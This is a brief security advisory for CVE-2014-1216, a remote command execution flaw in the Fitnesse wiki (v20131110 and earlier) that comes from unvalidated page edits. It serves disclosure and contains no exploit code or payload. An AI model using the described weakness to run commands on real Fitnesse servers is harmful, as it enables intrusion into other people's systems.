`Vulnerability title: Remote Command Execution in Fitnesse Wiki  
CVE: CVE-2014-1216  
Vendor: Fitnesse  
Product: Wiki  
Affected version: v20131110 and earlier  
Fixed version: N/A  
Reported by: Jerzy Kramarz  
  
Details:  
  
The Fitnesse wiki does not validate the syntax of edited pages to  
validate whether the pages are introducing any extra parameters that  
could be executed in the context of the application. This vulnerability  
could be exploited by remote attackers to introduce external commands  
into the workflow of the application that would execute them.
